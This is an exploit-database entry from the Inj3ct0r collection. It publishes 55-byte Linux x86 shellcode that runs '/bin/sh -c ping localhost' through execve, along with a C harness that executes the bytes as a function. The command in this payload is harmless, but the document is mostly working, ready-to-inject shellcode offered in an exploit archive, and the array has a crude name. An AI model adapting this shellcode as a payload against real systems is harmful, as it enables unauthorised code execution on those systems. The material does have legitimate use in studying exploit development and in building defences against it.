linux/x86 sys_execve("/bin/sh", "-c", "ping localhost") 55 bytes

2010-05-31T00:00:00
ID 1337DAY-ID-12475
Type zdt
Reporter gunslinger_
Modified 2010-05-31T00:00:00

Description

Exploit for linux/x86 platform in category shellcode

                                        
                                            ==========================================================================
linux/x86 sys_execve("/bin/sh", "-c", "ping localhost") shellcode 55 bytes
==========================================================================

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1               #########################################              1
0               I'm gunslinger_ member from Inj3ct0r Team              1
1               #########################################              0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

/*
Name   : 55 bytes sys_execve("/bin/sh", "-c", "ping localhost") x86 linux shellcode
Date   : may, 31 2010
Author : gunslinger_
Web    : devilzc0de.com
blog   : gunslinger.devilzc0de.com
tested on : linux debian
*/

char asshole[] = "\x6a\x0b"             // push   $0xb
		"\x58"                  // pop    %eax
		"\x99"                  // cltd
		"\x52"                  // push   %edx
		"\x68\x73\x74\x20\x20"  // push   $0x20207473
		"\x68\x61\x6c\x68\x6f"  // push   $0x6f686c61
		"\x68\x20\x6c\x6f\x63"  // push   $0x636f6c20
		"\x68\x70\x69\x6e\x67"  // push   $0x676e6970
		"\x89\xe6"              // mov    %esp,%esi
		"\x52"                  // push   %edx
		"\x66\x68\x2d\x63"      // pushw  $0x632d
		"\x89\xe1"              // mov    %esp,%ecx
		"\x52"                  // push   %edx
		"\x68\x2f\x2f\x73\x68"  // push   $0x68732f2f
		"\x68\x2f\x62\x69\x6e"  // push   $0x6e69622f
		"\x89\xe3"              // mov    %esp,%ebx
		"\x52"                  // push   %edx
		"\x56"                  // push   %esi
		"\x51"                  // push   %ecx
		"\x53"                  // push   %ebx
		"\x89\xe1"              // mov    %esp,%ecx
		"\xcd\x80";             // int    $0x80
		
int main(int argc, char **argv)
{
  int (*func)();
  func = (int (*)()) asshole;
  (int)(*func)();
}



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